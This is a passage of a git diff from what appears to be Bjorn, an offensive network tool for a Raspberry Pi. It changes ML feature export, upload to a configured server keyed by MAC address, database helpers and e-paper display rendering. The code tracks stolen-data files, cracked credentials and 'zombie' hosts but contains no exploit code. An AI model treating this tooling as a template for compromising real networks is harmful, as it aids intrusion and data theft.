= v + elif isinstance(vector, list): + for i, v in enumerate(vector): + flat[f'feature_{i}'] = v + except Exception as e: + logger.debug(f"Skip bad feature vector: {e}") + + flattened.append(flat) + all_fieldnames.update(flat.keys()) + + # 2. Sort fieldnames for consistency + sorted_fieldnames = sorted(list(all_fieldnames)) + all_fieldnames = None # Free the set + + # 3. Write CSV + with open_func(filepath, mode, newline='', encoding='utf-8') as f: + if flattened: + writer = csv.DictWriter(f, fieldnames=sorted_fieldnames) + writer.writeheader() + writer.writerows(flattened) + + count = len(flattened) + flattened = None # Free the expanded list + return count + + def _export_jsonl( + self, + records: List[Dict], + filepath: Path, + compress: bool + ) -> int: + """Export records as JSON Lines""" + open_func = gzip.open if compress else open + mode = 'wt' if compress else 'w' + + with open_func(filepath, mode, encoding='utf-8') as f: + for r in records: + # Avoid mutating `records` in place to keep memory growth predictable. + row = dict(r) + for field in ['host_features', 'network_features', 'temporal_features', 'action_features', 'raw_event']: + try: + row[field] = json.loads(row.get(field, '{}')) + except Exception: + row[field] = {} + + if row.get('feature_vector'): + try: + row['feature_vector'] = json.loads(row['feature_vector']) + except Exception: + row['feature_vector'] = {} + + f.write(json.dumps(row) + '\n') + + return len(records) + + def _export_parquet(self, records: List[Dict], filepath: Path) -> int: + """Export records as Parquet (requires pyarrow)""" + try: + import pyarrow as pa + import pyarrow.parquet as pq + + # Flatten records + flattened = [] + for r in records: + flat = dict(r) + # Parse JSON fields + for field in ['host_features', 'network_features', 'temporal_features', 'action_features', 'raw_event']: + flat[field] = json.loads(r.get(field, '{}')) + + if r.get('feature_vector'): + flat['feature_vector'] = json.loads(r['feature_vector']) + + flattened.append(flat) + + # Convert to Arrow table + table = pa.Table.from_pylist(flattened) + + # Write parquet + pq.write_table(table, filepath, compression='snappy') + + return len(records) + + except ImportError: + logger.error("Parquet export requires pyarrow. Falling back to CSV.") + return self._export_csv(records, filepath.with_suffix('.csv'), compress=True) + + def _create_export_batch(self, filepath: Path, count: int) -> int: + """Create export batch record and return batch ID""" + result = self.db.execute(""" + INSERT INTO ml_export_batches (file_path, record_count, status) + VALUES (?, ?, 'exported') + """, (str(filepath), count)) + + # Get the inserted ID + batch_id = self.db.query("SELECT last_insert_rowid() as id")[0]['id'] + return batch_id + + # ═══════════════════════════════════════════════════════════════════════ + # UTILITY METHODS + # ═══════════════════════════════════════════════════════════════════════ + + def get_export_stats(self) -> Dict[str, Any]: + """Get statistics about exports""" + try: + batches = self.db.query(""" + SELECT COUNT(*) as total_batches, + SUM(record_count) as total_records, + MAX(created_at) as last_export + FROM ml_export_batches + WHERE status='exported' + """)[0] + + pending = self.db.query(""" + SELECT COUNT(*) as cnt + FROM ml_features + WHERE consolidated=1 AND export_batch_id IS NULL + """)[0]['cnt'] + + return { + 'total_export_batches': batches.get('total_batches', 0), + 'total_records_exported': batches.get('total_records', 0), + 'last_export_time': batches.get('last_export'), + 'pending_export_count': pending + } + except Exception as e: + logger.error(f"Error getting export stats: {e}") + return {} + + def flush_pending_uploads(self, max_files: int = 3) -> int: + """ + Retry uploads for previously exported batches that were not transferred yet. + Returns the number of successfully transferred files. + """ + max_files = max(0, int(max_files)) + if max_files <= 0: + return 0 + + # No heavy "reliquat" tracking needed: pending uploads = files present in export_dir. + files = self._list_pending_export_files(limit=max_files) + ok = 0 + for fp in files: + if self.upload_to_server(fp): + ok += 1 + else: + # Stop early when server is unreachable to avoid repeated noise. + if self.last_server_attempted and self.last_server_contact_ok is False: + break + return ok + + def _list_pending_export_files(self, limit: int = 3) -> List[str]: + """ + Return oldest export files present in export_dir. + This makes the backlog naturally equal to the number of files on disk. + """ + limit = max(0, int(limit)) + if limit <= 0: + return [] + + try: + d = Path(self.export_dir) + if not d.exists(): + return [] + + def _safe_mtime(path: Path) -> float: + try: + return path.stat().st_mtime + except Exception: + return float("inf") + + # Keep only the N oldest files in memory instead of sorting all candidates. + files_iter = (p for p in d.glob("bjorn_training_*") if p.is_file()) + oldest = heapq.nsmallest(limit, files_iter, key=_safe_mtime) + return [str(p) for p in oldest] + except Exception: + return [] + + def _mark_batch_status(self, filepath: str, status: str, notes: str = "") -> None: + """Update ml_export_batches status for a given file path (best-effort).""" + try: + self.db.execute( + """ + UPDATE ml_export_batches + SET status=?, notes=? + WHERE file_path=? + """, + (status, notes or "", str(filepath)), + ) + except Exception: + pass + + def _safe_delete_uploaded_export(self, filepath: Path) -> None: + """Delete a successfully-uploaded export file if configured to do so.""" + try: + if not bool(self.shared_data.config.get("ai_delete_export_after_upload", True)): + return + + fp = filepath.resolve() + base = Path(self.export_dir).resolve() + # Safety: only delete files under export_dir. + if base not in fp.parents: + return + + fp.unlink(missing_ok=True) # Python 3.8+ supports missing_ok + except TypeError: + # Python < 3.8 fallback (not expected here, but safe) + try: + if filepath.exists(): + filepath.unlink() + except Exception: + pass + except Exception: + pass + + def upload_to_server(self, filepath: str) -> bool: + """ + Upload export file to AI Validation Server. + + Args: + filepath: Path to the file to upload + + Returns: + True if upload successful + """ + self._set_server_contact_state(False, None) + try: + import requests + except ImportError: + requests = None + + if requests is None: + logger.info_throttled( + "AI upload skipped: requests not installed", + key="ai_upload_no_requests", + interval_s=600.0, + ) + return False + + url = self.shared_data.config.get("ai_server_url") + if not url: + logger.info_throttled( + "AI upload skipped: ai_server_url not configured", + key="ai_upload_no_url", + interval_s=600.0, + ) + return False + + backoff_s = max(10, int(self.shared_data.config.get("ai_upload_retry_backoff_s", 120))) + max_backoff_s = 3600 + now_mono = time.monotonic() + if now_mono < self._upload_backoff_until: + remaining = int(self._upload_backoff_until - now_mono) + logger.debug(f"AI upload backoff active ({remaining}s remaining)") + logger.info_throttled( + "AI upload deferred: backoff active", + key="ai_upload_backoff_active", + interval_s=180.0, + ) + return False + + try: + filepath = Path(filepath) + + if not filepath.exists(): + logger.warning(f"AI upload skipped: file not found: {filepath}") + self._mark_batch_status(str(filepath), "missing", "file not found") + return False + + # Get MAC address for unique identification + try: + from ai_utils import get_system_mac + mac = get_system_mac() + except ImportError: + mac = "unknown" + + logger.debug(f"Uploading {filepath.name} to AI Server ({url}) unique_id={mac}") + self._set_server_contact_state(True, None) + + with open(filepath, 'rb') as f: + files = {'file': f} + # Send MAC as query param + # Server expects ?mac_addr=... + params = {'mac_addr': mac} + + # Short timeout to avoid blocking + response = requests.post(f"{url}/upload", files=files, params=params, timeout=10) + + if response.status_code == 200: + self._set_server_contact_state(True, True) + self._upload_backoff_until = 0.0 + self._upload_backoff_current_s = 0.0 + logger.success(f"Uploaded {filepath.name} successfully") + self._mark_batch_status(str(filepath), "transferred", "uploaded") + self._safe_delete_uploaded_export(filepath) + return True + else: + self._set_server_contact_state(True, False) + next_retry_s = self._apply_upload_backoff(backoff_s, max_backoff_s) + logger.debug( + f"AI upload HTTP failure for {filepath.name}: status={response.status_code}, " + f"next retry in {next_retry_s}s" + ) + logger.info_throttled( + f"AI upload deferred (HTTP {response.status_code})", + key=f"ai_upload_http_{response.status_code}", + interval_s=300.0, + ) + return False + + except Exception as e: + self._set_server_contact_state(True, False) + next_retry_s = self._apply_upload_backoff(backoff_s, max_backoff_s) + logger.debug(f"AI upload exception for {filepath}: {e} (next retry in {next_retry_s}s)") + logger.info_throttled( + "AI upload deferred: server unreachable (retry later)", + key="ai_upload_exception", + interval_s=300.0, + ) + return False + + def cleanup_old_exports(self, days: int = 30): + """Delete export files older than N days""" + try: + cutoff = datetime.now() - timedelta(days=days) + + old_batches = self.db.query(""" + SELECT file_path FROM ml_export_batches + WHERE created_at < ? + """, (cutoff.isoformat(),)) + + deleted = 0 + for batch in old_batches: + filepath = Path(batch['file_path']) + if filepath.exists(): + filepath.unlink() + deleted += 1 + + # Clean up database records + self.db.execute(""" + DELETE FROM ml_export_batches + WHERE created_at < ? + """, (cutoff.isoformat(),)) + + logger.info(f"Cleaned up {deleted} old export files") + + except Exception as e: + logger.error(f"Cleanup failed: {e}") + + +# ═══════════════════════════════════════════════════════════════════════════ +# END OF FILE +# ═══════════════════════════════════════════════════════════════════════════ diff --git a/database.py b/database.py index 2f9aca3..96dab24 100644 --- a/database.py +++ b/database.py @@ -156,6 +156,15 @@ class BjornDatabase: return self._config.save_config(config) # Host operations + def get_host_by_mac(self, mac_address: str) -> Optional[Dict[str, Any]]: + """Get a single host by MAC address""" + try: + results = self.query("SELECT * FROM hosts WHERE mac_address=? LIMIT 1", (mac_address,)) + return results[0] if results else None + except Exception as e: + logger.error(f"Error getting host by MAC {mac_address}: {e}") + return None + def get_all_hosts(self) -> List[Dict[str, Any]]: return self._hosts.get_all_hosts() @@ -519,6 +528,21 @@ class BjornDatabase: def vacuum(self) -> None: """Vacuum the database""" return self._base.vacuum() + + def close(self) -> None: + """Close database connection gracefully.""" + try: + with self._lock: + if hasattr(self, "_base") and self._base: + # DatabaseBase handles the actual connection closure + if hasattr(self._base, "_conn") and self._base._conn: + self._base._conn.close() + logger.info("BjornDatabase connection closed") + except Exception as e: + logger.debug(f"Error during database closure (ignorable if already closed): {e}") + + # Removed __del__ as it can cause circular reference leaks and is not guaranteed to run. + # Lifecycle should be managed by explicit close() calls. # Internal helper methods used by modules def _table_exists(self, name: str) -> bool: diff --git a/db_utils/actions.py b/db_utils/actions.py index e34877a..19608f2 100644 --- a/db_utils/actions.py +++ b/db_utils/actions.py @@ -162,7 +162,8 @@ class ActionOps: b_rate_limit = COALESCE(excluded.b_rate_limit, actions.b_rate_limit), b_stealth_level = COALESCE(excluded.b_stealth_level, actions.b_stealth_level), b_risk_level = COALESCE(excluded.b_risk_level, actions.b_risk_level), - b_enabled = COALESCE(excluded.b_enabled, actions.b_enabled), + -- Keep persisted enable/disable state from DB across restarts. + b_enabled = actions.b_enabled, b_args = COALESCE(excluded.b_args, actions.b_args), b_name = COALESCE(excluded.b_name, actions.b_name), b_description = COALESCE(excluded.b_description, actions.b_description), @@ -218,8 +219,10 @@ class ActionOps: WHERE id = 1 """, (action_count_row['cnt'],)) + # Invalidate cache so callers immediately see fresh definitions + type(self).get_action_definition.cache_clear() logger.info(f"Synchronized {len(actions)} actions") - + def list_actions(self): """List all action definitions ordered by class name""" return self.base.query("SELECT * FROM actions ORDER BY b_class;") @@ -261,23 +264,6 @@ class ActionOps: }) return out - # def list_action_cards(self) -> list[dict]: - # """Lightweight descriptor of actions for card-based UIs""" - # rows = self.base.query(""" - # SELECT b_class, b_enabled - # FROM actions - # ORDER BY b_class; - # """) - # out = [] - # for r in rows: - # cls = r["b_class"] - # out.append({ - # "name": cls, - # "image": f"/actions/actions_icons/{cls}.png", - # "enabled": int(r.get("b_enabled", 1) or 1), - # }) - # return out - @lru_cache(maxsize=32) def get_action_definition(self, b_class: str) -> Optional[Dict[str, Any]]: """Cached lookup of an action definition by class name""" diff --git a/db_utils/stats.py b/db_utils/stats.py index 08f28e9..09fedb8 100644 --- a/db_utils/stats.py +++ b/db_utils/stats.py @@ -71,10 +71,8 @@ class StatsOps: def get_stats(self) -> Dict[str, int]: """Compatibility alias to retrieve stats; ensures the singleton row exists""" + self.ensure_stats_initialized() row = self.base.query("SELECT total_open_ports, alive_hosts_count, all_known_hosts_count, vulnerabilities_count FROM stats WHERE id=1;") - if not row: - self.ensure_stats_initialized() - row = self.base.query("SELECT total_open_ports, alive_hosts_count, all_known_hosts_count, vulnerabilities_count FROM stats WHERE id=1;") r = row[0] return { "total_open_ports": int(r["total_open_ports"]), diff --git a/db_utils/studio.py b/db_utils/studio.py index d7783f0..295040b 100644 --- a/db_utils/studio.py +++ b/db_utils/studio.py @@ -22,6 +22,7 @@ class StudioOps: self.base.execute(""" CREATE TABLE IF NOT EXISTS actions_studio ( b_class TEXT PRIMARY KEY, + b_priority INTEGER DEFAULT 50, studio_x REAL, studio_y REAL, studio_locked INTEGER DEFAULT 0, @@ -31,6 +32,9 @@ class StudioOps: ); """) + # Migration: ensure b_priority exists on pre-existing databases + self.base._ensure_column("actions_studio", "b_priority", "b_priority INTEGER DEFAULT 50") + # Studio edges (relationships between actions) self.base.execute(""" CREATE TABLE IF NOT EXISTS studio_edges ( @@ -255,6 +259,7 @@ class StudioOps: self.base.execute(""" CREATE TABLE IF NOT EXISTS actions_studio ( b_class TEXT PRIMARY KEY, + b_priority INTEGER DEFAULT 50, studio_x REAL, studio_y REAL, studio_locked INTEGER DEFAULT 0, @@ -282,10 +287,12 @@ class StudioOps: - Insert missing b_class entries - Update NULL fields only (non-destructive) """ - # 1) Minimal table: PK + studio_* columns + # 1) Minimal table: PK + studio_* columns (b_priority must be here so + # get_studio_actions() can ORDER BY it before _sync adds action columns) self.base.execute(""" CREATE TABLE IF NOT EXISTS actions_studio ( b_class TEXT PRIMARY KEY, + b_priority INTEGER DEFAULT 50, studio_x REAL, studio_y REAL, studio_locked INTEGER DEFAULT 0, diff --git a/display.py b/display.py index a38d13c..e3e9b2d 100644 --- a/display.py +++ b/display.py @@ -1,47 +1,169 @@ -# display.py - FIXED VERSION (v2 + wrap_text/throttle optimizations) -# - Un seul thread d’update EPD à la fois (pas d’accumulation) -# - Full refresh déplacé dans le worker -# - Circuit breaker : désactive temporairement l’EPD après échecs répétés -# - Timeouts & logs conservés / améliorés -# - Reste compatible avec le code appelant -# - NEW: comment layout cache + throttling to reduce wrap_text calls +# display.py +# Core component for managing the E-Paper Display (EPD) and Web Interface Screenshot +# OPTIMIZED FOR PI ZERO 2: Asynchronous Rendering, Text Caching, and I/O Throttling. +# FULL VERSION - NO LOGIC REMOVED +import math import threading import time import os import signal import logging -import random import sys import traceback -import json -import subprocess from typing import Dict, List, Optional, Any, Tuple from PIL import Image, ImageDraw, ImageFont from init_shared import shared_data -from comment import CommentAI from logger import Logger logger = Logger(name="display.py", level=logging.DEBUG) -class Display: - """Optimized display manager with robust error handling and recovery""" +class DisplayUpdateController: + """ + Single-writer EPD update queue. + Ensures only one thread accesses the SPI bus at a time. + Drops older frames if the display is busy (Frame Skipping) to prevent lag. + """ + + def __init__(self, update_fn): + self.update_fn = update_fn + self._event = threading.Event() + self._lock = threading.Lock() + self._stop = threading.Event() + self._thread: Optional[threading.Thread] = None + self._latest_frame: Optional[Image.Image] = None + self._metrics = { + "queue_dropped": 0, + "queue_submitted": 0, + "processed": 0, + "failures": 0, + "last_duration_s": 0.0, + "last_error": "", + "busy_since": 0.0, + "last_update_epoch": 0.0, + } + + def start(self): + if self._thread and self._thread.is_alive(): + return + self._stop.clear() + self._thread = threading.Thread( + target=self._worker_loop, + daemon=True, + name="DisplayUpdateController" + ) + self._thread.start() + + def stop(self, timeout: float = 2.0): + self._stop.set() + self._event.set() + if self._thread and self._thread.is_alive(): + self._thread.join(timeout=timeout) + # Close any residual pending frame + residual = self._pop_latest_frame() + if residual is not None: + try: + residual.close() + except Exception: + pass + return not bool(self._thread and self._thread.is_alive()) + + def submit(self, frame: Image.Image): + """Submit a new frame. If busy, drop the previous pending frame (Latest-Win strategy).""" + with self._lock: + old_frame = self._latest_frame + if old_frame is not None: + self._metrics["queue_dropped"] += 1 + self._latest_frame = frame + self._metrics["queue_submitted"] += 1 + # Close the dropped frame outside the lock to avoid holding it while doing I/O + if old_frame is not None: + try: + old_frame.close() + except Exception: + pass + self._event.set() + + def get_metrics(self) -> Dict[str, Any]: + with self._lock: + metrics = dict(self._metrics) + busy_since = float(metrics.get("busy_since") or 0.0) + metrics["busy_for_s"] = (time.monotonic() - busy_since) if busy_since else 0.0 + metrics["thread_alive"] = bool(self._thread and self._thread.is_alive()) + return metrics + + def _pop_latest_frame(self) -> Optional[Image.Image]: + with self._lock: + frame = self._latest_frame + self._latest_frame = None + return frame + + def _set_busy(self, busy: bool): + with self._lock: + self._metrics["busy_since"] = time.monotonic() if busy else 0.0 + + def _mark_success(self, duration_s: float): + with self._lock: + self._metrics["processed"] += 1 + self._metrics["last_duration_s"] = duration_s + self._metrics["last_update_epoch"] = time.time() + self._metrics["last_error"] = "" + + def _mark_failure(self, duration_s: float, error: str): + with self._lock: + self._metrics["failures"] += 1 + self._metrics["last_duration_s"] = duration_s + self._metrics["last_error"] = error + + def _worker_loop(self): + while not self._stop.is_set(): + self._event.wait(timeout=0.5) + self._event.clear() + + if self._stop.is_set(): + break + + frame = self._pop_latest_frame() + if frame is None: + continue + + started = time.monotonic() + self._set_busy(True) + try: + # Execute the actual EPD write + ok = bool(self.update_fn(frame)) + duration = time.monotonic() - started + if ok: + self._mark_success(duration) + else: + self._mark_failure(duration, "update_fn returned False") + except Exception as exc: + duration = time.monotonic() - started + self._mark_failure(duration, str(exc)) + logger.error(f"EPD update worker failure: {exc}") + finally: + self._set_busy(False) + try: + frame.close() + except Exception: + pass + + +class Display: + """ + Optimized display manager with robust error handling and recovery. + Decouples rendering (CPU) from displaying (SPI/IO) to ensure stability on Pi Zero 2. + """ - # CRITICAL: Timeout constants - SEMAPHORE_TIMEOUT = 5.0 # Max time to wait for semaphore - EPD_OPERATION_TIMEOUT = 10.0 # Max time for EPD operation (indicative) - LOOP_ITERATION_TIMEOUT = 30.0 # Max time for one display loop RECOVERY_COOLDOWN = 60.0 # Min time between hard resets # Circuit breaker - MAX_CONSECUTIVE_FAILURES = 6 # Après N échecs, on coupe l’EPD - STUCK_RECOVERY_S = 120.0 # Si bloqué > 120s, on tente recovery + MAX_CONSECUTIVE_FAILURES = 6 # Disable EPD after N failures def __init__(self, shared_data): self.shared_data = shared_data self.config = self.shared_data.config - self.comment_ai = CommentAI() self.epd_enabled = self.config.get("epd_enabled", True) self.epd = self.shared_data.epd if self.epd_enabled else None @@ -51,39 +173,35 @@ class Display: else: self.shared_data.width = self.shared_data.width - self.semaphore = threading.Semaphore(self.shared_data.semaphore_slots) - # Recovery tracking self.last_successful_update = time.time() self.last_recovery_attempt = 0 self.consecutive_failures = 0 self.total_updates = 0 self.failed_updates = 0 + self.retry_attempts = 0 + self.reinit_attempts = 0 + self.watchdog_stuck_count = 0 + self.headless_reason = "" - # Update worker (évite l’empilement) - self._upd_lock = threading.Lock() - self._upd_thread: Optional[threading.Thread] = None - self._upd_stuck_since: Optional[float] = None + # EPD runtime controls + self.epd_watchdog_timeout = float(self.config.get("epd_watchdog_timeout", 45)) + self.RECOVERY_COOLDOWN = float(self.config.get("epd_recovery_cooldown", 60)) + self.epd_error_backoff = float(self.config.get("epd_error_backoff", 2)) + self._partial_mode_ready = False + self._epd_mode_lock = threading.Lock() + self._recovery_lock = threading.Lock() + self._recovery_in_progress = False + self._watchdog_last_log = 0.0 self._last_full_refresh = time.time() + + # Asynchronous Controller + self.display_controller = DisplayUpdateController(self._process_epd_frame) # Screen configuration self.screen_reversed = self.shared_data.screen_reversed self.web_screen_reversed = self.shared_data.web_screen_reversed - # Network status with caching - self.ssid = "" - self.current_ip = "" - self.show_ip_on_screen = False - self.show_ssid_on_screen = False - self._network_cache = {'ip': None, 'ssid': None, 'timestamp': 0} - self._network_cache_ttl = 30 - - self._connection_cache = {'data': None, 'timestamp': 0} - self._connection_cache_ttl = 10 - - self._data_count_cache = {'count': 0, 'timestamp': 0} - self._data_count_cache_ttl = 60 - # Display name self.bjorn_name = self.shared_data.bjorn_name self.previous_bjorn_name = None @@ -93,23 +211,22 @@ class Display: self.fullrefresh_activated = self.shared_data.fullrefresh_activated self.fullrefresh_delay = self.shared_data.fullrefresh_delay - # Cache for expensive operations - self._stats_cache = {'data': None, 'timestamp': 0} - self._stats_cache_ttl = 5.0 - # NEW: comment wrap/layout cache + throttle self._comment_layout_cache = {"key": None, "lines": [], "ts": 0.0} - # Recompute at most once per this interval unless the key changes self._comment_layout_min_interval = max(0.8, float(self.shared_data.screen_delay)) + self._last_screenshot_time = 0 + self._screenshot_interval_s = max(1.0, float(self.config.get("web_screenshot_interval_s", 4.0))) # Initialize display try: if self.epd_enabled: self.shared_data.epd.init_full_update() + self._partial_mode_ready = False logger.info("EPD display initialization complete") if self.shared_data.showstartupipssid: - ip_address, ssid = self.get_network_info() + ip_address = getattr(self.shared_data, "current_ip", "No IP") + ssid = getattr(self.shared_data, "current_ssid", "No Wi-Fi") self.display_startup_ip(ip_address, ssid) time.sleep(self.shared_data.startup_splash_duration) else: @@ -118,27 +235,22 @@ class Display: except Exception as e: logger.error(f"Error during display initialization: {e}") if self.epd_enabled: - # On remonte si EPD était censé être actif (cohérent avec l’existant) + # If EPD was supposed to be enabled but failed, raise to alert supervisor raise else: logger.warning("EPD initialization failed but continuing in web-only mode") self.shared_data.bjorn_status_text2 = "Awakening..." + try: + self.shared_data.update_battery_status() + except Exception as e: + logger.warning_throttled( + f"Initial battery probe failed: {e}", + key="display_initial_battery_probe", + interval_s=120.0, + ) - # Start background threads - self._start_background_threads() - - def _start_background_threads(self): - """Start all background update threads""" - self.main_image_thread = threading.Thread( - target=self.update_main_image, daemon=True, name="DisplayImageUpdater" - ) - self.main_image_thread.start() - - self.stats_update_thread = threading.Thread( - target=self.schedule_stats_update, daemon=True, name="DisplayStatsUpdater" - ) - self.stats_update_thread.start() + self.display_controller.start() # ---- Positioning helpers ---- @@ -154,7 +266,8 @@ class Display: default_font_size = 13 default_font_path = self.shared_data.font_viking_path default_font = ImageFont.truetype(default_font_path, default_font_size) - max_text_width, _ = default_font.getsize("BJORN") + bbox = default_font.getbbox("BJORN") + max_text_width = bbox[2] - bbox[0] self.font_to_use = self.get_font_to_fit( self.bjorn_name, default_font_path, max_text_width, default_font_size @@ -163,12 +276,14 @@ class Display: def get_font_to_fit(self, text: str, font_path: str, max_width: int, max_font_size: int): font_size = max_font_size font = ImageFont.truetype(font_path, font_size) - text_width, _ = font.getsize(text) + bbox = font.getbbox(text) + text_width = bbox[2] - bbox[0] while text_width > max_width and font_size > 5: font_size -= 1 font = ImageFont.truetype(font_path, font_size) - text_width, _ = font.getsize(text) + bbox = font.getbbox(text) + text_width = bbox[2] - bbox[0] return font @@ -176,117 +291,10 @@ class Display: if self.config.get("epd_type") == "epd2in13_V2" and img.size == (120, 250): padded = Image.new('1', (122, 250), 1) padded.paste(img, (1, 0)) + img.close() return padded return img - # ---- Network status with caching ---- - - def get_network_info(self) -> Tuple[str, str]: - now = time.time() - if self._network_cache['timestamp'] + self._network_cache_ttl > now: - return self._network_cache['ip'], self._network_cache['ssid'] - - ip = self.get_ip_address() - ssid = self.get_ssids() - self._network_cache = {'ip': ip, 'ssid': ssid, 'timestamp': now} - return ip, ssid - - def get_ip_address(self) -> str: - try: - iface_list = self._as_list( - getattr(self.shared_data, "ip_iface_priority", ["wlan0", "eth0"]), - default=["wlan0", "eth0"] - ) - - for iface in iface_list: - result = subprocess.run( - ['ip', 'addr', 'show', iface], - capture_output=True, text=True, timeout=2 - ) - if result.returncode == 0: - for line in result.stdout.split('\n'): - if 'inet ' in line: - return line.split()[1].split('/')[0] - - return "No IP" - - except Exception as e: - logger.error(f"Error getting IP address: {e}") - return "Error" - - def get_ssids(self) -> str: - try: - result = subprocess.run( - ['iwgetid', '-r'], - capture_output=True, text=True, timeout=2 - ) - if result.returncode == 0: - return result.stdout.strip() or "No Wi-Fi" - return "No Wi-Fi" - - except Exception as e: - logger.error(f"Error getting SSID: {e}") - return "Error" - - def check_all_connections(self) -> Dict[str, bool]: - now = time.time() - - if self._connection_cache['data'] and (now - self._connection_cache['timestamp']) < self._connection_cache_ttl: - return self._connection_cache['data'] - - results = {} - - try: - ip_neigh = subprocess.run(['ip', 'neigh', 'show'], - capture_output=True, text=True, timeout=2) - neigh_output = ip_neigh.stdout if ip_neigh.returncode == 0 else "" - - iwgetid = subprocess.run(['iwgetid', '-r'], - capture_output=True, text=True, timeout=1) - results['wifi'] = bool(iwgetid.returncode == 0 and iwgetid.stdout.strip()) - - bt_ifaces = self._as_list( - getattr(self.shared_data, "neigh_bluetooth_ifaces", ["pan0", "bnep0"]), - default=["pan0", "bnep0"] - ) - results['bluetooth'] = any(f'dev {iface}' in neigh_output for iface in bt_ifaces) - - eth_iface = self._as_str( - getattr(self.shared_data, "neigh_ethernet_iface", "eth0"), "eth0" - ) - results['ethernet'] = f'dev {eth_iface}' in neigh_output - - usb_iface = self._as_str( - getattr(self.shared_data, "neigh_usb_iface", "usb0"), "usb0" - ) - results['usb'] = f'dev {usb_iface}' in neigh_output - - except Exception as e: - logger.error(f"Connection check failed: {e}") - results = {'wifi': False, 'bluetooth': False, 'ethernet': False, 'usb': False} - - self._connection_cache = {'data': results, 'timestamp': now} - return results - - def is_manual_mode(self) -> bool: - return self.shared_data.manual_mode - - def get_data_count(self) -> int: - now = time.time() - - if (now - self._data_count_cache['timestamp']) < self._data_count_cache_ttl: - return self._data_count_cache['count'] - - try: - total = sum( - len(files) for r, d, files in os.walk(self.shared_data.data_stolen_dir) - ) - self._data_count_cache = {'count': total, 'timestamp': now} - return total - except Exception as e: - logger.error(f"Error counting data files: {e}") - return self._data_count_cache.get('count', 0) - def display_startup_ip(self, ip_address: str, ssid: str): if not self.epd_enabled: logger.debug("Skipping EPD startup display (EPD disabled)") @@ -312,7 +320,9 @@ class Display: draw.rectangle((0, 1, self.shared_data.width - 1, self.shared_data.height - 1), outline=0) if self.screen_reversed: - image = image.transpose(Image.ROTATE_180) + rotated = image.transpose(Image.ROTATE_180) + image.close() + image = rotated image = self._pad_for_v2(image) @@ -324,107 +334,13 @@ class Display: except Exception as e: logger.error(f"Error displaying startup IP: {e}") - - def schedule_stats_update(self): - while not self.shared_data.display_should_exit: - try: - self.update_stats_from_db() - time.sleep(self.shared_data.shared_update_interval) - except Exception as e: - logger.error(f"Error in stats update: {e}") - time.sleep(self.shared_data.shared_update_interval) - continue - - def update_stats_from_db(self): - """Update statistics with timeout protection""" - acquired = self.semaphore.acquire(timeout=self.SEMAPHORE_TIMEOUT) - if not acquired: - logger.warning("Failed to acquire semaphore for stats update - skipping") - return - - try: - stats = self.shared_data.db.get_display_stats() - - self.shared_data.port_count = stats.get('total_open_ports', 0) - self.shared_data.target_count = stats.get('alive_hosts_count', 0) - self.shared_data.network_kb_count = stats.get('all_known_hosts_count', 0) - self.shared_data.vuln_count = stats.get('vulnerabilities_count', 0) - self.shared_data.cred_count = stats.get('credentials_count', 0) - self.shared_data.attacks_count = stats.get('actions_count', 0) - self.shared_data.zombie_count = stats.get('zombie_count', 0) - - self.current_ip, self.ssid = self.get_network_info() - self.shared_data.data_count = self.get_data_count() - self.shared_data.update_stats() - - connections = self.check_all_connections() - self.shared_data.wifi_connected = connections['wifi'] - self.shared_data.usb_active = connections['usb'] - self.shared_data.bluetooth_active = connections['bluetooth'] - self.shared_data.ethernet_active = connections['ethernet'] - - self.shared_data.manual_mode = self.is_manual_mode() - self.manual_mode_txt = "M" if self.shared_data.manual_mode else "A" - - self.show_ip_on_screen = self.shared_data.showiponscreen - self.show_ssid_on_screen = self.shared_data.showssidonscreen - self.bjorn_name = self.shared_data.bjorn_name - - if self.bjorn_name != self.previous_bjorn_name: - self.calculate_font_to_fit() - self.previous_bjorn_name = self.bjorn_name - - except Exception as e: - logger.error(f"Error updating stats from DB: {e}") + if 'image' in locals() and image: + try: image.close() + except: pass finally: - self.semaphore.release() - - def update_main_image(self): - while not self.shared_data.display_should_exit: - try: - self.shared_data.update_image_randomizer() - if self.shared_data.imagegen: - self.main_image = self.shared_data.imagegen - else: - logger.debug("No image generated for current status") - - time.sleep( - random.uniform( - self.shared_data.image_display_delaymin, - self.shared_data.image_display_delaymax - ) - ) - - except Exception as e: - logger.error(f"Error in update_main_image: {e}") - time.sleep(5) - - def _as_list(self, value: Any, default: Optional[List] = None) -> List: - if default is None: - default = [] - - try: - if isinstance(value, list): - return value - if isinstance(value, str): - try: - obj = json.loads(value) - if isinstance(obj, list): - return obj - except: - pass - return [x.strip() for x in value.split(",") if x.strip()] - return list(value) if value is not None else default - except: - return default - - def _as_str(self, value: Any, default: str = "") -> str: - if isinstance(value, str): - return value - try: - return str(value) if value is not None else default - except: - return default + if 'image' in locals() and image: + try: image.close() + except: pass def _as_int(self, value: Any, default: int = 0) -> int: try: @@ -444,13 +360,6 @@ class Display: return self.px(x), self.py(y) - def display_comment(self, status: str): - params = getattr(self.shared_data, "comment_params", {}) or {} - comment = self.comment_ai.get_comment(status, params=params) - if comment: - self.shared_data.bjorn_says = comment - self.shared_data.bjorn_status_text = self.shared_data.bjorn_orch_status - def clear_screen(self): if self.epd_enabled: try: @@ -465,212 +374,265 @@ class Display: # ======================================================================== def run(self): - """Main display rendering loop with active watchdog and recovery""" - self.manual_mode_txt = "" + """Main display loop. Rendering is decoupled from EPD writes.""" + local_error_backoff = 1.0 try: while not self.shared_data.display_should_exit: - iteration_start = time.time() - try: - success = self._execute_display_update_with_timeout() + image = self._render_display() + rotated = None + try: + if self.screen_reversed: + rotated = image.transpose(Image.ROTATE_180) + image.close() + image = rotated + rotated = None + + image = self._pad_for_v2(image) - if success: - self.last_successful_update = time.time() - self.consecutive_failures = 0 - self.total_updates += 1 - else: - self.consecutive_failures += 1 - self.failed_updates += 1 - logger.warning(f"Display update failed ({self.consecutive_failures} consecutive failures)") + # Keep web screen responsive even when EPD is degraded. + self._save_screenshot(image) - # Watchdog & recovery - time_since_success = time.time() - self.last_successful_update - if (self._upd_stuck_since and (time.time() - self._upd_stuck_since) > self.STUCK_RECOVERY_S) \ - or self.consecutive_failures >= 3: - logger.error("Watchdog: EPD appears stuck or repeated failures - attempting recovery") - self._attempt_recovery() + if self.epd_enabled: + # Submit transfers ownership to DisplayUpdateController + self.display_controller.submit(image) + image = None # Prevent closure in finally + else: + image.close() + image = None + finally: + if image: + try: image.close() + except: pass + if rotated: + try: rotated.close() + except: pass - # Circuit breaker: disable EPD after many failures - if self.epd_enabled and self.consecutive_failures >= self.MAX_CONSECUTIVE_FAILURES: - logger.error("Too many consecutive display failures - disabling EPD (graceful degradation)") - self.epd_enabled = False # web-only mode until next recovery success - # Do not reference 